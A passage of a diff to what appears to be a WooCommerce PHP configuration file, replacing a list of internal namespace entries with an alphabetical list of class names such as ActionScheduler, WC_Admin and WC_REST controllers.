'Automattic\\WooCommerce\\Internal\\EmailEditor\\PersonalizationTags', - 1344 => 'Automattic\\WooCommerce\\Internal\\EmailEditor\\EmailTemplates', - 1350 => 'Automattic\\WooCommerce\\Internal\\EmailEditor\\EmailPatterns', - 1353 => 'Automattic\\WooCommerce\\Internal\\Customers', - 1354 => 'Automattic\\WooCommerce\\Internal\\VariationGallery', - 1359 => 'Automattic\\WooCommerce\\Internal', - 1361 => 'Automattic\\WooCommerce\\Internal\\Settings', - 1363 => 'Automattic\\WooCommerce\\Internal\\TransientFiles', - 1366 => 'Automattic\\WooCommerce\\Internal\\DataStores\\StockNotifications', - 1368 => 'Automattic\\WooCommerce\\Internal\\DataStores\\Orders', - 1379 => 'Automattic\\WooCommerce\\Internal\\DataStores', - 1380 => 'Automattic\\WooCommerce\\Internal\\Traits', - 1384 => 'Automattic\\WooCommerce\\Internal\\ReceiptRendering', - 1386 => 'Automattic\\WooCommerce\\Internal\\CostOfGoodsSold', - 1391 => 'Automattic\\WooCommerce\\Internal\\Features\\ProductBlockEditor\\ProductTemplates', - 1399 => 'Automattic\\WooCommerce\\Internal\\Features\\OrderDetailRedesign', - 1400 => 'Automattic\\WooCommerce\\Internal\\Features', - 1401 => 'Automattic\\WooCommerce\\Internal\\ProductImage', - 1402 => 'Automattic\\WooCommerce\\Internal\\ProductDownloads\\ApprovedDirectories', - 1404 => 'Automattic\\WooCommerce\\Internal\\ProductDownloads\\ApprovedDirectories\\Admin', - 1409 => 'Automattic\\WooCommerce\\Internal\\Admin', - 1413 => 'Automattic\\WooCommerce\\Internal\\Admin\\Settings', - 1419 => 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\Exceptions', - 1425 => 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\SettingsUIPages', - 1426 => 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\PaymentsProviders', - 1429 => 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\PaymentsProviders\\WooPayments', - 1461 => 'Automattic\\WooCommerce\\Internal\\Admin\\BlockTemplates', - 1469 => 'Automattic\\WooCommerce\\Internal\\Admin\\EmailImprovements', - 1470 => 'Automattic\\WooCommerce\\Internal\\Admin\\ProductReviews', - 1474 => 'Automattic\\WooCommerce\\Internal\\Admin\\RemoteFreeExtensions', - 1479 => 'Automattic\\WooCommerce\\Internal\\Admin\\Emails', - 1484 => 'Automattic\\WooCommerce\\Internal\\Admin\\Agentic', - 1487 => 'Automattic\\WooCommerce\\Internal\\Admin\\ImportExport', - 1488 => 'Automattic\\WooCommerce\\Internal\\Admin\\ProductForm', - 1499 => 'Automattic\\WooCommerce\\Internal\\Admin\\EmailPreview', - 1504 => 'Automattic\\WooCommerce\\Internal\\Admin\\Notes', - 1540 => 'Automattic\\WooCommerce\\Internal\\Admin\\Marketing', - 1542 => 'Automattic\\WooCommerce\\Internal\\Admin\\Suggestions\\Incentives', - 1544 => 'Automattic\\WooCommerce\\Internal\\Admin\\Suggestions', - 1546 => 'Automattic\\WooCommerce\\Internal\\Admin\\WCPayPromotion', - 1550 => 'Automattic\\WooCommerce\\Internal\\Admin\\Orders', - 1556 => 'Automattic\\WooCommerce\\Internal\\Admin\\Orders\\MetaBoxes', - 1560 => 'Automattic\\WooCommerce\\Internal\\Admin\\Logging', - 1562 => 'Automattic\\WooCommerce\\Internal\\Admin\\Logging\\FileV2', - 1569 => 'Automattic\\WooCommerce\\Internal\\Admin\\Onboarding', - 1578 => 'Automattic\\WooCommerce\\Internal\\Admin\\Schedulers', - 1585 => 'Automattic\\WooCommerce\\Internal\\Agentic\\Enums\\Specs', - 1597 => 'Automattic\\WooCommerce\\Internal\\MCP', - 1598 => 'Automattic\\WooCommerce\\Internal\\MCP\\Transport', - 1599 => 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Platforms\\Shopify', - 1603 => 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Core', - 1608 => 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Lib', - 1609 => 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Commands', - 1613 => 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator', - 1614 => 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Interfaces', - 1616 => 'Automattic\\WooCommerce\\Internal\\Abilities', - 1620 => 'Automattic\\WooCommerce\\Internal\\Abilities\\Domain', - 1621 => 'Automattic\\WooCommerce\\Internal\\Abilities\\Domain\\Traits', - 1630 => 'Automattic\\WooCommerce\\Internal\\Abilities\\REST', - 1632 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Customers', - 1636 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Fulfillments', - 1637 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Fulfillments\\Schema', - 1638 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Products', - 1639 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Products\\Schema', - 1640 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\General', - 1641 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\General\\Schema', - 1642 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Emails', - 1643 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Emails\\Schema', - 1644 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Tax', - 1645 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Tax\\Schema', - 1646 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\OfflinePaymentMethods', - 1647 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\OfflinePaymentMethods\\Schema', - 1648 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\PaymentGateways', - 1649 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\PaymentGateways\\Schema', - 1654 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Account', - 1655 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Account\\Schema', - 1656 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Email', - 1657 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Email\\Schema', - 1658 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\ShippingZoneMethod', - 1661 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Products', - 1662 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4', - 1663 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\ShippingZones', - 1666 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\OrderNotes', - 1668 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\OrderNotes\\Schema', - 1671 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Refunds', - 1673 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Refunds\\Schema', - 1675 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Orders', - 1677 => 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Orders\\Schema', - 1686 => 'Automattic\\WooCommerce\\Internal\\Integrations', - 1688 => 'Automattic\\WooCommerce\\Internal\\Utilities', - 1704 => 'Automattic\\WooCommerce\\Internal\\WCCom', - 1705 => 'Automattic\\WooCommerce\\Internal\\StockNotifications', - 1706 => 'Automattic\\WooCommerce\\Internal\\StockNotifications\\AsyncTasks', - 1710 => 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Privacy', - 1711 => 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Frontend', - 1716 => 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Emails', - 1722 => 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Enums', - 1724 => 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Admin', - 1733 => 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Utilities', - 1739 => 'Automattic\\WooCommerce\\Internal\\Jetpack', - 1740 => 'Automattic\\WooCommerce\\Internal\\AbilitiesApi', - 1741 => 'Automattic\\WooCommerce\\Internal\\BatchProcessing', - 1743 => 'Automattic\\WooCommerce\\Internal\\ProductAttributesLookup', - 1748 => 'Automattic\\WooCommerce\\Internal\\Api', - 1755 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated', - 1756 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Pagination', - 1765 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Input', - 1771 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Scalars', - 1772 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Enums', - 1777 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Output', - 1788 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Interfaces', - 1791 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLQueries', - 1797 => 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLMutations', - 1803 => 'Automattic\\WooCommerce\\Internal\\OrderReviews', - 1809 => 'Automattic\\WooCommerce\\Internal\\ComingSoon', - 1813 => 'Automattic\\WooCommerce\\Internal\\ProductFeed', - 1814 => 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Utils', - 1816 => 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Storage', - 1817 => 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Integrations', - 1818 => 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Integrations\\POSCatalog', - 1825 => 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Feed', - 1831 => 'Automattic\\WooCommerce\\Internal\\DependencyManagement', - 1833 => 'Automattic\\WooCommerce\\Internal\\ProductFilters', - 1840 => 'Automattic\\WooCommerce\\Internal\\ProductFilters\\Interfaces', - 1843 => 'Automattic\\WooCommerce\\Internal\\Orders', - 1855 => 'Automattic\\WooCommerce\\Internal\\ProductAttributes', - 1857 => 'Automattic\\WooCommerce\\Internal\\ShopperLists', - 1863 => 'Automattic\\WooCommerce\\Internal\\Logging', - 1867 => 'Automattic\\WooCommerce\\Internal\\PushNotifications', - 1868 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\DataStores', - 1870 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Traits', - 1872 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Triggers', - 1876 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Exceptions', - 1878 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Dispatchers', - 1880 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Validators', - 1881 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Controllers', - 1884 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Notifications', - 1888 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Services', - 1892 => 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Entities', - 1893 => 'Automattic\\WooCommerce\\Internal\\Email', - 1899 => 'Automattic\\WooCommerce\\Internal\\AddressProvider', - 1901 => 'Automattic\\WooCommerce\\Internal\\Caches', - 1907 => 'Automattic\\WooCommerce\\Checkout\\Helpers', - 1909 => 'Automattic\\WooCommerce\\Abilities', - 1911 => 'Automattic\\WooCommerce\\Utilities', - 1925 => 'Automattic\\WooCommerce\\Gateways\\PayPal', - 1933 => 'Automattic\\WooCommerce\\Api\\Pagination', - 1938 => 'Automattic\\WooCommerce\\Api\\Types\\Products', - 1947 => 'Automattic\\WooCommerce\\Api\\Types\\Coupons', - 1949 => 'Automattic\\WooCommerce\\Api', - 1950 => 'Automattic\\WooCommerce\\Api\\Traits', - 1953 => 'Automattic\\WooCommerce\\Api\\Scalars', - 1954 => 'Automattic\\WooCommerce\\Api\\Mutations\\Products', - 1957 => 'Automattic\\WooCommerce\\Api\\Mutations\\Coupons', - 1960 => 'Automattic\\WooCommerce\\Api\\Enums\\Products', - 1963 => 'Automattic\\WooCommerce\\Api\\Enums\\Coupons', - 1965 => 'Automattic\\WooCommerce\\Api\\Queries\\Products', - 1967 => 'Automattic\\WooCommerce\\Api\\Queries\\Coupons', - 1969 => 'Automattic\\WooCommerce\\Api\\Utils\\Products', - 1971 => 'Automattic\\WooCommerce\\Api\\Utils\\Coupons', - 1972 => 'Automattic\\WooCommerce\\Api\\Utils', - 1973 => 'Automattic\\WooCommerce\\Api\\Attributes', - 1992 => 'Automattic\\WooCommerce\\Api\\InputTypes\\Products', - 1997 => 'Automattic\\WooCommerce\\Api\\InputTypes', - 1998 => 'Automattic\\WooCommerce\\Api\\InputTypes\\Coupons', - 2001 => 'Automattic\\WooCommerce\\Api\\Infrastructure', - 2007 => 'Automattic\\WooCommerce\\Api\\Infrastructure\\Schema', - 2017 => 'Automattic\\WooCommerce\\Api\\Interfaces', - 2019 => 'Automattic\\WooCommerce\\Proxies', - 2021 => 'Automattic\\WooCommerce\\Caching', - 2026 => 'Automattic\\WooCommerce\\StoreApi\\Payments', - 2028 => 'Automattic\\WooCommerce\\StoreApi', - 2031 => 'Automattic\\WooCommerce\\StoreApi\\Formatters', - 2037 => 'Automattic\\WooCommerce\\StoreApi\\Exceptions', - 2046 => 'Automattic\\WooCommerce\\StoreApi\\Schemas\\V1', - 2066 => 'Automattic\\WooCommerce\\StoreApi\\Schemas\\V1\\Agentic', - 2070 => 'Automattic\\WooCommerce\\StoreApi\\Schemas\\V1\\AI', - 2079 => 'Automattic\\WooCommerce\\StoreApi\\Schemas', - 2080 => 'Automattic\\WooCommerce\\StoreApi\\Utilities', - 2102 => 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1', - 2117 => 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\Agentic\\Messages', - 2121 => 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\Agentic', - 2124 => 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\Agentic\\Enums', - 2139 => 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\AI', - 2154 => 'Automattic\\WooCommerce\\StoreApi\\Routes', - 2157 => 'Automattic\\WooCommerce\\Caches', - ), -); \ No newline at end of file + array( + 'Abstract_WC_Order_Data_Store_CPT', + 'Abstract_WC_Order_Item_Type_Data_Store', + 'ActionScheduler', + 'ActionScheduler_Abstract_ListTable', + 'ActionScheduler_Abstract_QueueRunner', + 'ActionScheduler_Abstract_QueueRunner_Deprecated', + 'ActionScheduler_Abstract_RecurringSchedule', + 'ActionScheduler_Abstract_Schedule', + 'ActionScheduler_Abstract_Schema', + 'ActionScheduler_Action', + 'ActionScheduler_ActionClaim', + 'ActionScheduler_ActionFactory', + 'ActionScheduler_AdminView', + 'ActionScheduler_AdminView_Deprecated', + 'ActionScheduler_AsyncRequest_QueueRunner', + 'ActionScheduler_CanceledAction', + 'ActionScheduler_CanceledSchedule', + 'ActionScheduler_Compatibility', + 'ActionScheduler_CronSchedule', + 'ActionScheduler_DBLogger', + 'ActionScheduler_DBStore', + 'ActionScheduler_DBStoreMigrator', + 'ActionScheduler_DataController', + 'ActionScheduler_DateTime', + 'ActionScheduler_Exception', + 'ActionScheduler_FatalErrorMonitor', + 'ActionScheduler_FinishedAction', + 'ActionScheduler_HybridStore', + 'ActionScheduler_IntervalSchedule', + 'ActionScheduler_InvalidActionException', + 'ActionScheduler_ListTable', + 'ActionScheduler_Lock', + 'ActionScheduler_LogEntry', + 'ActionScheduler_Logger', + 'ActionScheduler_LoggerSchema', + 'ActionScheduler_NullAction', + 'ActionScheduler_NullLogEntry', + 'ActionScheduler_NullSchedule', + 'ActionScheduler_OptionLock', + 'ActionScheduler_QueueCleaner', + 'ActionScheduler_QueueRunner', + 'ActionScheduler_RecurringActionScheduler', + 'ActionScheduler_Schedule', + 'ActionScheduler_Schedule_Deprecated', + 'ActionScheduler_SimpleSchedule', + 'ActionScheduler_Store', + 'ActionScheduler_StoreSchema', + 'ActionScheduler_Store_Deprecated', + 'ActionScheduler_SystemInformation', + 'ActionScheduler_TimezoneHelper', + 'ActionScheduler_Versions', + 'ActionScheduler_WPCLI_Clean_Command', + 'ActionScheduler_WPCLI_Command', + 'ActionScheduler_WPCLI_QueueRunner', + 'ActionScheduler_WPCLI_Scheduler_command', + 'ActionScheduler_WPCommentCleaner', + 'ActionScheduler_wcSystemStatus', + 'ActionScheduler_wpCommentLogger', + 'ActionScheduler_wpPostStore', + 'ActionScheduler_wpPostStore_PostStatusRegistrar', + 'ActionScheduler_wpPostStore_PostTypeRegistrar', + 'ActionScheduler_wpPostStore_TaxonomyRegistrar', + 'Attribute', + 'Automattic\\WooCommerce\\Api\\Infrastructure\\Schema\\AST\\StringValueNode', + 'Automattic\\WooCommerce\\Api\\Infrastructure\\Schema\\ResolveInfo', + 'CronExpression', + 'CronExpression_AbstractField', + 'CronExpression_DayOfMonthField', + 'CronExpression_DayOfWeekField', + 'CronExpression_FieldFactory', + 'CronExpression_FieldInterface', + 'CronExpression_HoursField', + 'CronExpression_MinutesField', + 'CronExpression_MonthField', + 'CronExpression_YearField', + 'EmailEditorVendor_Attribute', + 'EmailEditorVendor_PhpToken', + 'EmailEditorVendor_Stringable', + 'EmailEditorVendor_UnhandledMatchError', + 'EmailEditorVendor_ValueError', + 'PhpToken', + 'Stringable', + 'UnhandledMatchError', + 'ValueError', + 'WC_AJAX', + 'WC_Abstract_Legacy_Order', + 'WC_Abstract_Legacy_Product', + 'WC_Abstract_Order', + 'WC_Abstract_Order_Data_Store_Interface', + 'WC_Abstract_Privacy', + 'WC_Action_Queue', + 'WC_Address_Provider', + 'WC_Admin', + 'WC_Admin_API_Keys', + 'WC_Admin_API_Keys_Table_List', + 'WC_Admin_Addons', + 'WC_Admin_Assets', + 'WC_Admin_Attributes', + 'WC_Admin_Customize', + 'WC_Admin_Dashboard', + 'WC_Admin_Dashboard_Setup', + 'WC_Admin_Duplicate_Product', + 'WC_Admin_Exporters', + 'WC_Admin_Help', + 'WC_Admin_Importers', + 'WC_Admin_List_Table', + 'WC_Admin_List_Table_Coupons', + 'WC_Admin_List_Table_Orders', + 'WC_Admin_List_Table_Products', + 'WC_Admin_Log_Table_List', + 'WC_Admin_Marketplace_Promotions', + 'WC_Admin_Menus', + 'WC_Admin_Meta_Boxes', + 'WC_Admin_Notices', + 'WC_Admin_Permalink_Settings', + 'WC_Admin_Pointers', + 'WC_Admin_Post_Types', + 'WC_Admin_Profile', + 'WC_Admin_Report', + 'WC_Admin_Reports', + 'WC_Admin_Settings', + 'WC_Admin_Setup_Wizard', + 'WC_Admin_Setup_Wizard_Tracking', + 'WC_Admin_Status', + 'WC_Admin_Taxonomies', + 'WC_Admin_Upload_Downloadable_Product', + 'WC_Admin_Webhooks', + 'WC_Admin_Webhooks_Table_List', + 'WC_Auth', + 'WC_Autoloader', + 'WC_Background_Emailer', + 'WC_Background_Process', + 'WC_Background_Updater', + 'WC_Blocks_Utils', + 'WC_Brands', + 'WC_Brands_Admin', + 'WC_Brands_Brand_Settings_Manager', + 'WC_Brands_Coupons', + 'WC_Breadcrumb', + 'WC_CLI', + 'WC_CLI_COM_Command', + 'WC_CLI_COM_Extension_Command', + 'WC_CLI_REST_Command', + 'WC_CLI_Runner', + 'WC_CLI_Tool_Command', + 'WC_CLI_Tracker_Command', + 'WC_CLI_Update_Command', + 'WC_CSV_Batch_Exporter', + 'WC_CSV_Exporter', + 'WC_Cache_Helper', + 'WC_Cart', + 'WC_Cart_Fees', + 'WC_Cart_Session', + 'WC_Cart_Totals', + 'WC_Checkout', + 'WC_Comments', + 'WC_Countries', + 'WC_Coupon', + 'WC_Coupon_Data_Store_CPT', + 'WC_Coupon_Data_Store_Interface', + 'WC_Coupon_Tracking', + 'WC_Coupons_Tracking', + 'WC_Customer', + 'WC_Customer_Data_Store', + 'WC_Customer_Data_Store_Interface', + 'WC_Customer_Data_Store_Session', + 'WC_Customer_Download', + 'WC_Customer_Download_Data_Store', + 'WC_Customer_Download_Data_Store_Interface', + 'WC_Customer_Download_Log', + 'WC_Customer_Download_Log_Data_Store', + 'WC_Customer_Download_Log_Data_Store_Interface', + 'WC_Customizer_Control_Cropping', + 'WC_Data', + 'WC_Data_Exception', + 'WC_Data_Store', + 'WC_Data_Store_WP', + 'WC_DateTime', + 'WC_Deprecated_Action_Hooks', + 'WC_Deprecated_Filter_Hooks', + 'WC_Deprecated_Hooks', + 'WC_Discounts', + 'WC_Download_Handler', + 'WC_Email', + 'WC_Email_Admin_Payment_Gateway_Enabled', + 'WC_Email_Cancelled_Order', + 'WC_Email_Customer_Cancelled_Order', + 'WC_Email_Customer_Completed_Order', + 'WC_Email_Customer_Failed_Order', + 'WC_Email_Customer_Fulfillment_Created', + 'WC_Email_Customer_Fulfillment_Deleted', + 'WC_Email_Customer_Fulfillment_Updated', + 'WC_Email_Customer_Invoice', + 'WC_Email_Customer_New_Account', + 'WC_Email_Customer_Note', + 'WC_Email_Customer_On_Hold_Order', + 'WC_Email_Customer_POS_Completed_Order', + 'WC_Email_Customer_POS_Refunded_Order', + 'WC_Email_Customer_Partially_Refunded_Order', + 'WC_Email_Customer_Processing_Order', + 'WC_Email_Customer_Refunded_Order', + 'WC_Email_Customer_Reset_Password', + 'WC_Email_Customer_Review_Request', + 'WC_Email_Failed_Order', + 'WC_Email_New_Order', + 'WC_Emails', + 'WC_Embed', + 'WC_Eval_Math', + 'WC_Eval_Math_Stack', + 'WC_Extensions_Tracking', + 'WC_Form_Handler', + 'WC_Frontend_Scripts', + 'WC_Gateway_BACS', + 'WC_Gateway_COD', + 'WC_Gateway_Cheque', + 'WC_Gateway_Paypal', + 'WC_Gateway_Paypal_API_Handler', + 'WC_Gateway_Paypal_Buttons', + 'WC_Gateway_Paypal_Constants', + 'WC_Gateway_Paypal_Helper', + 'WC_Gateway_Paypal_IPN_Handler', + 'WC_Gateway_Paypal_Notices', + 'WC_Gateway_Paypal_PDT_Handler', + 'WC_Gateway_Paypal_Refund', + 'WC_Gateway_Paypal_Request', + 'WC_Gateway_Paypal_Response', + 'WC_Gateway_Paypal_Transact_Account_Manager', + 'WC_Gateway_Paypal_Webhook_Handler', + 'WC_Geo_IP', + 'WC_Geo_IP_Record', + 'WC_Geolite_Integration', + 'WC_Geolocation', + 'WC_HTTPS', + 'WC_Helper', + 'WC_Helper_API', + 'WC_Helper_Admin', + 'WC_Helper_Compat', + 'WC_Helper_Options', + 'WC_Helper_Orders_API', + 'WC_Helper_Sanitization', + 'WC_Helper_Subscriptions_API', + 'WC_Helper_Updater', + 'WC_Importer_Interface', + 'WC_Importer_Tracking', + 'WC_Install', + 'WC_Integration', + 'WC_Integration_MaxMind_Database_Service', + 'WC_Integration_MaxMind_Geolocation', + 'WC_Integrations', + 'WC_Item_Totals', + 'WC_Legacy_Cart', + 'WC_Legacy_Coupon', + 'WC_Legacy_Customer', + 'WC_Legacy_Payment_Token', + 'WC_Legacy_Shipping_Zone', + 'WC_Legacy_Webhook', + 'WC_Log_Handler', + 'WC_Log_Handler_DB', + 'WC_Log_Handler_Email', + 'WC_Log_Handler_File', + 'WC_Log_Handler_Interface', + 'WC_Log_Levels', + 'WC_Logger', + 'WC_Logger_Interface', + 'WC_Marketplace_Suggestions', + 'WC_Marketplace_Updater', + 'WC_Meta_Box_Coupon_Data', + 'WC_Meta_Box_Order_Actions', + 'WC_Meta_Box_Order_Data', + 'WC_Meta_Box_Order_Downloads', + 'WC_Meta_Box_Order_Items', + 'WC_Meta_Box_Order_Notes', + 'WC_Meta_Box_Product_Categories', + 'WC_Meta_Box_Product_Data', + 'WC_Meta_Box_Product_Images', + 'WC_Meta_Box_Product_Reviews', + 'WC_Meta_Box_Product_Short_Description', + 'WC_Meta_Data', + 'WC_Notes_Refund_Returns', + 'WC_Notes_Run_Db_Update', + 'WC_Object_Data_Store_Interface', + 'WC_Object_Query', + 'WC_Order', + 'WC_Order_Data_Store_CPT', + 'WC_Order_Data_Store_Interface', + 'WC_Order_Factory', + 'WC_Order_Item', + 'WC_Order_Item_Coupon', + 'WC_Order_Item_Coupon_Data_Store', + 'WC_Order_Item_Data_Store', + 'WC_Order_Item_Data_Store_Interface', + 'WC_Order_Item_Fee', + 'WC_Order_Item_Fee_Data_Store', + 'WC_Order_Item_Meta', + 'WC_Order_Item_Product', + 'WC_Order_Item_Product_Data_Store', + 'WC_Order_Item_Product_Data_Store_Interface', + 'WC_Order_Item_Shipping', + 'WC_Order_Item_Shipping_Data_Store', + 'WC_Order_Item_Tax', + 'WC_Order_Item_Tax_Data_Store', + 'WC_Order_Item_Type_Data_Store_Interface', + 'WC_Order_Query', + 'WC_Order_Refund', + 'WC_Order_Refund_Data_Store_CPT', + 'WC_Order_Refund_Data_Store_Interface', + 'WC_Order_Tracking', + 'WC_Orders_Tracking', + 'WC_Payment_Gateway', + 'WC_Payment_Gateway_CC', + 'WC_Payment_Gateway_ECheck', + 'WC_Payment_Gateways', + 'WC_Payment_Token', + 'WC_Payment_Token_CC', + 'WC_Payment_Token_Data_Store', + 'WC_Payment_Token_Data_Store_Interface', + 'WC_Payment_Token_ECheck', + 'WC_Payment_Tokens', + 'WC_Plugin_Api_Updater', + 'WC_Plugin_Updates', + 'WC_Plugins_Screen_Updates', + 'WC_Post_Data', + 'WC_Post_Types', + 'WC_Privacy', + 'WC_Privacy_Background_Process', + 'WC_Privacy_Erasers', + 'WC_Privacy_Exporters', + 'WC_Product', + 'WC_Product_Attribute', + 'WC_Product_CSV_Exporter', + 'WC_Product_CSV_Importer', + 'WC_Product_CSV_Importer_Controller', + 'WC_Product_Cat_Dropdown_Walker', + 'WC_Product_Cat_List_Walker', + 'WC_Product_Collection_Block_Tracking', + 'WC_Product_Data_Store_CPT', + 'WC_Product_Data_Store_Interface', + 'WC_Product_Download', + 'WC_Product_External', + 'WC_Product_Factory', + 'WC_Product_Grouped', + 'WC_Product_Grouped_Data_Store_CPT', + 'WC_Product_Importer', + 'WC_Product_Query', + 'WC_Product_Simple', + 'WC_Product_Usage', + 'WC_Product_Usage_Notice', + 'WC_Product_Usage_Rule_Set', + 'WC_Product_Variable', + 'WC_Product_Variable_Data_Store_CPT', + 'WC_Product_Variable_Data_Store_Interface', + 'WC_Product_Variation', + 'WC_Product_Variation_Data_Store_CPT', + 'WC_Products_Tracking', + 'WC_Query', + 'WC_Queue', + 'WC_Queue_Interface', + 'WC_REST_Authentication', + 'WC_REST_CRUD_Controller', + 'WC_REST_Controller', + 'WC_REST_Coupons_Controller', + 'WC_REST_Coupons_V1_Controller', + 'WC_REST_Coupons_V2_Controller', + 'WC_REST_Customer_Downloads_Controller', + 'WC_REST_Customer_Downloads_V1_Controller', + 'WC_REST_Customer_Downloads_V2_Controller', + 'WC_REST_Customers_Controller', + 'WC_REST_Customers_V1_Controller', + 'WC_REST_Customers_V2_Controller', + 'WC_REST_Data_Continents_Controller', + 'WC_REST_Data_Controller', + 'WC_REST_Data_Countries_Controller', + 'WC_REST_Data_Currencies_Controller', + 'WC_REST_Exception', + 'WC_REST_Layout_Templates_Controller', + 'WC_REST_Network_Orders_Controller', + 'WC_REST_Network_Orders_V2_Controller', + 'WC_REST_Order_Notes_Controller', + 'WC_REST_Order_Notes_V1_Controller', + 'WC_REST_Order_Notes_V2_Controller', + 'WC_REST_Order_Refunds_Controller', + 'WC_REST_Order_Refunds_V1_Controller', + 'WC_REST_Order_Refunds_V2_Controller', + 'WC_REST_Orders_Controller', + 'WC_REST_Orders_V1_Controller', + 'WC_REST_Orders_V2_Controller', + 'WC_REST_Payment_Gateways_Controller', + 'WC_REST_Payment_Gateways_V2_Controller', + 'WC_REST_Paypal_Buttons_Controller', + 'WC_REST_Paypal_Standard_Controller', + 'WC_REST_Paypal_Webhooks_Controller', + 'WC_REST_Posts_Controller', + 'WC_REST_Product_Attribute_Terms_Controller', + 'WC_REST_Product_Attribute_Terms_V1_Controller', + 'WC_REST_Product_Attribute_Terms_V2_Controller', + 'WC_REST_Product_Attributes_Controller', + 'WC_REST_Product_Attributes_V1_Controller', + 'WC_REST_Product_Attributes_V2_Controller', + 'WC_REST_Product_Brands_Controller', + 'WC_REST_Product_Brands_V2_Controller', + 'WC_REST_Product_Categories_Controller', + 'WC_REST_Product_Categories_V1_Controller', + 'WC_REST_Product_Categories_V2_Controller', + 'WC_REST_Product_Custom_Fields_Controller', + 'WC_REST_Product_Reviews_Controller', + 'WC_REST_Product_Reviews_V1_Controller', + 'WC_REST_Product_Reviews_V2_Controller', + 'WC_REST_Product_Shipping_Classes_Controller', + 'WC_REST_Product_Shipping_Classes_V1_Controller', + 'WC_REST_Product_Shipping_Classes_V2_Controller', + 'WC_REST_Product_Tags_Controller', + 'WC_REST_Product_Tags_V1_Controller', + 'WC_REST_Product_Tags_V2_Controller', + 'WC_REST_Product_Variations_Controller', + 'WC_REST_Product_Variations_V2_Controller', + 'WC_REST_Products_Catalog_Controller', + 'WC_REST_Products_Controller', + 'WC_REST_Products_V1_Controller', + 'WC_REST_Products_V2_Controller', + 'WC_REST_Refunds_Controller', + 'WC_REST_Report_Coupons_Totals_Controller', + 'WC_REST_Report_Customers_Totals_Controller', + 'WC_REST_Report_Orders_Totals_Controller', 